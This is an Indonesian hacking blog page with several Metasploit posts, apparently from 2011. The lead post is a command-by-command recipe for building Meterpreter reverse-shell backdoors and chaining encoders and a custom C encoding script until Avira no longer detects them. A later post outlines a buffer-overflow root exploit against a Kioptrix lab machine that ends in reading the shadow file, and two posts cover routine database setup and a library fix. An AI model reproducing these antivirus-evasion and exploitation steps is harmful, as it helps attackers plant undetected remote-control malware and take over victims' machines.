Showing posts with label BackTrack. Show all posts
Showing posts with label BackTrack. Show all posts

17.12.11

[INSANE] Encoding Virus to Bypassing 80% Anti-Virus

CMetasploit dan Anti-Virus. Layaknya air dan minyak, mereka tidak bisa disatukan. Selalu ada cara untuk saling menjatuhkan. Beberapa minggu yang lalu, kita sudah menguji SMADAV dalam menangani backdoor yang dibuat oleh metasploit, dan hasilnya. SMADAV gagal. Ini menjadi pelajaran yang berarti untuk programmer anti-virus lokal, dimana exploitasi bisa terjadi tanpa memanfaatkan vulnerability sebuah OS, atau memanfaatkan celah port 445 yang terbuka.

Pada kesempatan kali ini, kita akan menguji AVIRA. AVIRA bukanlah produk lokal, dan AVIRA menganut system update, dimana database AVIRA selalu diperbaharui untuk mencegah virus baru melewati system pemindaian mereka.

Langsung saja kita menuju tahap pengujian.

Preparation:
Attacker:
1. Metasploit
2. Apache 2

Victim:
1. AVIRA

Goal:
1. Buat payload dengan msfpayload, dan encode dengan msfencode untuk melewati system keamanan AVIRA

Walkthrough:
1. Buka terminal, lalu ubah work directory kita menjadi metasploit directory:

Command :
root@ASUS:~# cd /opt/metasploit/msf3/

Cek msfencode anda. Untuk bantuan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -h


Untuk melihat daftar encoder yang dapat digunakan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -l



Ok. Pastikan service apache sudah berjalan. Masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# /etc/init.d/apache2 start

Catatan:
Setiap payload yang kita buat, akan kita tempatkan pada directory   /var/www. Cobalah untuk menghindari system copy-paste ke VM-ware, mengingat hal ini dapat menyebabkan VM-ware hanging/crash. Lalu bagaimana agar kita dapat menguji payload kita untuk di-scan dengan AVIRA? Mudah saja. VM-ware memiliki interface network khusus bernama vmnet8, dan IP address anda adalah 172.16.60.1. Untuk memperoleh payload, gunakan browser yang tersedia pada VM-ware anda, dalam tutorial kali ini, saya menggunakan browser Mozilla Firefox. Anda juga bisa menggunakan Internet Explorer. Masukan http://172.16.60.1/nama-exploit-anda pada browser untuk memperoleh payload anda.

PAYLOAD 1
Kali ini saya coba dengan payload standar dengan msfpayload, tanpa di-encode menggunakan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 X > /var/www/exploit1.exe


Keterangan:
LHOST = IP address anda
LPORT = PORT Listener anda

Catatan:
Selalu simpan payload kita pada direktori /var/www dan usahakan gunakan nama yang berbeda untuk setiap payload yang kita buat!

Hasil test:

GAGAL

PAYLOAD 2
Kegagalan pertama itu wajar. Mari kita buat payload lain kemudian kita encode dengan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -t exe > /var/www/exploit2.exe

Keterangan:
1. Saya menggunakan encoder x86/shikata_ga_nai, dan melakukan encoding sebanyak 1 kali.


Hasil test:


GAGAL

PAYLOAD 3
Jangan menyerah, kali ini kita akan buat encoder menggila!

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 16 -b '\x00\xff' -t exe > /var/www/exploit3.exe


Hasil:

GAGAL

PAYLOAD 4
Bagaimana jika kita gunakan  2 encoder? Shikata_ga_nai dan jmp_call_additive.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t exe > /var/www/exploit4.exe



Hasil:

GAGAL

PAYLOAD 5
Sekarang kita gunakan 3 encoder. Ini semakin gila [untuk beberapa orang]. Namun bagi saya tidak. =T
Kita akan gunakan Shikata_ga_nai, jmp_call_additive, dan call4_dword-xor.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t raw | ./msfencode -e x86/call4_dword_xor -c 4 -t exe > /var/www/exploit5.exe


Hasil:

GAGAL

Kelihatannya anti-virus kita cukup gigih dalam menangani payload yang kita buat. Ok. Sekarang kita coba dengan metode yang agak gila. Dan memang ini gila. Karena kita akan melakukan encoding manual tanpa bantuan msfencode.

Konsep:
Kita akan melakukan encoding payload dengan bahasa pemrograman C.
Kurang lebih seperti ini payout payload kita:

s/+/ /g
s/buf = /unsigned char micro[]=/g
#include <stdio.h>
unsigned char ufs[]=
(( i=1; i<=10000;i++ ))
s/$/"/
s/^/"/
int main(void) { ((void (*)())micro)();}
unsigned char tap[]=
(( i=1; i<=999999;i++ ))
s/$/"/
s/^/"/

Terlihat membingungkan? Jika anda merasa tidak sanggup mengikuti tahap lanjut encoding, jangan tinggalkan halaman ini dulu. Saya akan berikan cara yang jauh lebih mudah ketimbang melakukan encoding cara manual. Saya telah mempersiapkan script untuk melakukan encoding ini. Anda bisa download di sini.

Namun sebelumnya, anda harus mendownload file ini untuk membantu anda dalam melakukan encoding menggunakan bahasa C.

root@ASUS:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils

Setelah mendownload file vanish.sh, pindahkan file ini ke direktori metasploit, dan ubah modenya agar bisa dieksekusi.

Dalam tutorial kali ini, saya menggunakan vmware, sehingga interface network saya adalah vmnet8. Sekarang saatnya menguji payload kita.

LAST PAYLOAD!

Command :
root@ASUS:/opt/metasploit/msf3# ./vanish.sh



Karena saya menggunakan VM-ware dalam test ini, jadi saya menggunakan interface vmnet8. Jika anda menggunakan modem, maka pilih interface ppp0, jika anda menggunakan wireless network, gunakan interface wlan0, jika anda menggunakan wired connection, gunakan interface eth0.


Gunakan port 4444 sebagai port listener. Port listener bisa anda tentukan sesuka hati, dengan syarat, jangan gunakan port yang sudah digunakan oleh service lain, misalkan port 80 yang digunakan oleh apache. Ini akan mengakibatkan metasploit tidak bisa melakukan listening pada port tersebut.

Untuk jumlah seed, saya menyarankan untuk memasukan angka 7000, dan untuk jumlah encoding, masukan angka 14.

Tunggu sampai proses encoding selesai, hingga muncul tampilan metasploit seperti ini:


Berhasil. Payload kita dibuat dengan nama backdoor.exe pada folder seclabs. Copy payload kita ke direktori /var/www dengan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# cd seclabs/ && cp backdoor.exe /var/www/exploit6.exe

Kemudian kita uji dengan melakukan scanning anti-virus.
Hasil:

BERHASIL

Tidaklah sulit melewati AVIRA. Lalu, apakah file ini berfungsi sebagaimana mestinya? Jalankan saja file tersebut, kemudian cek kembali metasploit kita.


SUKSES

created by:
red-dragon

15.12.11

Manajemen Database Metasploit

Taukah kamu? Metasploit memiliki database-nya sendiri untuk kemudahan user dalam mengarsipkan atau 'mengabadikan' momen pentest-nya. Hal ini memungkinkan kita untuk menyimpan data-data vulnerability, host, dan sebagainya.


Kali ini saya akan menjelaskan tentang manajemen database metasploit, dimana metasploit secara default memiliki database (Postgres) yang native. Konfigurasi database ini bisa ditemukan di:




Dan konfigurasi metasploit di:




Untuk mengecek status database Postgres. Cek di:




Oke, langsung ke permasalahan. Mari kita buat database mandiri miliki metasploit. Caranya -->


Kamu harus menginstall beberapa dependencies:

apt-get install postgresql libpq-dev

Setelah itu, jalankan service Postgres lalu masuk ke Postgres dengan akun "postgres":


root@rx:~# /etc/init.d/postgresql-8.4 start
root@rx:~# sudo su postgres -c psql


Kemudian ganti password "postgres" sesuka kamu:


postgres=# ALTER USER postgres WITH PASSWORD 'PASSWORD_YANG_KAMU_MAU';


Setelah itu exit. Berikut SS-nya (=




Kemudian ganti login user postgres:


root@rx:~# sudo passwd -d postgres
passwd: password expiry information changed.
root@rx:~# sudo su postgres -c passwd
Enter new UNIX password: (masukin password baru)
Retype new UNIX password: (ulang)
passwd: password updated successfully



Berikut SS-nya (=




Selanjutnya konfigurasi ruby ke mode auto. Kita tau kalo Metasploit menggunakan bahasa RUBY. Setelah itu install development file untuk postgres agar bisa digunakan metasploit.


root@rx:~# update-alternatives --config ruby


Pilih '0'


root@rx:~# gem install postgres


Berikut, SS-nya (=




Setelah itu masuk ke Metasploit. Lalu gunakan driver postgres dan koneksikan metasploit ke database kamu (=


msf > db_connect
[*]    Usage: db_connect <user:pass>@<host:port>/<database>
[*]       OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*]        db_connect user@metasploit3
[*]        db_connect user:pass@192.168.0.2/metasploit3
[*]        db_connect user:pass@192.168.0.2:1500/metasploit3
msf > db_connect postgres:metasploit@127.0.0.1/metasploit



Cara mengkoneksikannya adalah:


db_connect [USERNAME]:[PASSWORD]@[LOCALHOST]/[NAMA_DATABASE]

Jadi kalo kalo:
Username = postgres
Password = password
Localhost = 127.0.0.1
Nama Database = meterpreter


db_connect postgres:password@127.0.0.1/meterpreter

SS-nya (=


Setelah ini cek status database-nya. Kemudian, buat workspace untuk menentukan lembar kerja kita. Misalkan kalo lagi nongkrong di kampus. Kita pake workspace "kampus". Caranya.


workspace -a kampus ==> untuk membuat workspace baru bernama kampus


workspace -d kampus ==> untuk mnghapus workspace yang sudah ada bernama kampus


workspace ==> untuk melihat semua workspace yang ada di database tertentu


Ni contohnya ...




Sekian, berikutnya saya akan menjelaskan manajemen database untuk Nessus beserta cara mengaktivasikan Nessus dan juga menjalankan Nessus di Metasploit.


Blue Dragon


14.12.11

[FIX] msfupdate (no version information available)

Beberapa hari yang lalu saya mendapatkan pesan error ketika sedang meng-update metasploit. Kira-kira pesan error-nya seperti ini:



svn: /opt/framework/lib/libssl.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libcrypto.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libssl.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)
svn: /opt/framework/lib/libcrypto.so.0.9.8: no version information available (required by /opt/framework/lib/libserf-0.so.0)






Perhatikan "no version information available", error di sini berarti library metasploit tidak memiliki versi yang dimaksud. Untuk itu, coba cek file library nya:




libssl.so.0.9.8 tidak memiliki link ke /usr/lib/ dimana seluruh library bergantung pada direktori ini. Begitupun nasib libcrypto.so.0.9.8. Maka yang perlu kita lakukan adalah:


  1. Backup library msf yang error
  2. Buat link antara library msf yang error dengan library yang ada di /usr/lib/
Berikut caranya:


root@rx:~# cd /opt/framework/lib/
root@rx:/opt/framework/lib# mv libcrypto.so.0.9.8 libcrypto.so.0.9.8.bak
root@rx:/opt/framework/lib# mv libssl.so.0.9.8 libssl.so.0.9.8.bak
root@rx:/opt/framework/lib# ln -s /usr/lib/libcrypto.so.0.9.8
root@rx:/opt/framework/lib# ln -s /usr/lib/libssl.so.0.9.8




Jika sudah, coba jalankan msfupdate:


root@rx:~# msfupdate




SUKSES. Like usual (PERFECT) (=


created-by:
Blue Dragon

21.11.11

From Bug to 0day Against LINUX

Sebelumnya pernah dijelaskan bagaimana caranya mengaplikasikan teori from bug to 0day yang dijelaskan red-dragon. Sekarang giliran saya, blue-dragon, akan memberi tau bagaimana cara mengaplikasikan teori from bug to 0day pada LINUX. Check this out.

Pertama-tama saya mau spoiler, kalau tutorial kali ini akan sangat panjang. Untuk itu, saya akan menghilangkan tag CODE kali ini. Yang ada hanyalah skrinsut dan penjelasan step by step.

Yang kalian butuhkan hanyalah:
1. Web server http daemon (Apache dsb)
2. Jmpbuster (http://sprunge.us/XCCi)
3. Gnome Debugger / Gdb (gdb)

Kondisi PC saya:
1. Menggunakan VMWare
2. Mengakses ssh ke PC server (Kioptrix LV 3)

Tutorial:

Pertama koneksikan PC kamu melalui SSH. Untuk mencari tau bagaimana saya mencari password ssh, kamu bisa cek di sini.
[Pic]

Setelah terkoneksi, cari informasi yang berada di dalam server.
[Pic]


Ada yang menarik, yaitu untuk mencapai akses root, kita harus menggunakan perintah 'sudo ht' Mari kita cari keberadaan file 'ht' dan apakah server memiliki gdb. Lalu cari tau tentang 'sudo' pada server ini.
[Tampilan 'ht']

[Pic]

Semuanya sudah lengkap, sekarang saatnya menulis shellcode. Yang pertama, kamu harus melakukan debugging, jika di sini menggunakan OllyDBG, maka kita sekarang menggunakan gdb yang di attach ke program ht.
[Pic]

Perintah ini akan membuat program ht menuliskan huruf "A" pada memori 4400 dengan kode python. Hasilnya bug (tinggal 0day-nya nih :D)
[Pic]

Keliatan, kalo memori 4400 memang vulnerable, saatnya minta bantuan metasploit untuk meng-generate memori buffer overflow 4400.

[Pic]

Copas hasil keluaran ke dalam shellcode:
[Struktur awal shellcode]

#/usr/bin/python
buf="kode_pattern_create"
buf="kode_pattern_offset"
eip="kode_memori_eip"
nop="kode_memori_NOP"

shellcode=(kode_jahat)

print(buf+eip+nop+shellcode) --> semuanya

Awal shellcode
[Pic]

Setelah dimasukkan kode buffer overflow:
[Pic]

Langsung kita debugging lagi shellcode ini untuk menentukan alamat register eip.
[Pic]

Hasil debugging:
[Pic]

Catat info register eip, lalu kita generate offset-nya dengan bantuan metasploit.
[Pic]

Catat kode offset buffer overflow eip untuk digunakan nanti. Sekarang kita mencari alamt eip, dengan jmp buster. Pertama cari jmp buster di internet, lalu letakkan di folder /var/www kamu. Aktifkan apache dan coba download kode jmpbuster dari folder kita:

[Web JmpBuster]

[Download JmpBuster ke /var/www]

[Aktifkan Apache]

[Download JmpBuster dari target]

[Compile JmpBuster]

Setelah JmpBuster di compile, maka sekarang saatnya berburu kode eip. Caranya:

$ ./jmpbuster /usr/local/bin/ht | more

[Pic]

Tekan "Enter" sampai kamu nemuin jmp *%esp  yang warnanya berbeda (= Catat address-nya dan letakkan di shellcode kita.

[Pic]

Cara mencatat kode buf ke dua:
"\x41"*4091
Dimana x41 adalah "A" dan 4091 adalah alamat yang mengalami crash, kita harus mengambil alih halaman ini dengan menentukan lokasi NOP. Penulisan NOP:
0xaabbccdd ===> \xdd\xcc\xbb\xaa

Sekarang kita tentukan shellcode. Pertama saya mencoba menggunakan shikata_ga_nai sebagai encoder, tapi malahan ada address yang nilainya \x00 dimana address ini tidak bisa menginjeksi. Akhirnya saya gunakan encoder alpha_mixed. Setelah generate, gunakan kodenya sebagai shellcode dengan terlebih dulu menghapus tanda "+" dan satu spasi di belakang tanda "+"
[Generating shellcode]

[Tampilan akhir shellcode]

Setelah shellcode selesai, eksekusi shellcode dengan izin root dan program ht.
[Pic]

Hasilnya:
[Pic]

Ketik "reset" (tidak akan ada karakter yang keluar). lalu tekan enter, masukkan "ansi" sebagai jawaban default. Lalu tekan enter. Setelah ini, karakter ketikkan kamu akan selalu muncul tiap tombol keyboard ditekan. Kelar nge-root, sekarang testing!!!
[Pic]

Cari shadownya:
[Pic]

Written by:
blue-dragon

Supported by:
red-dragon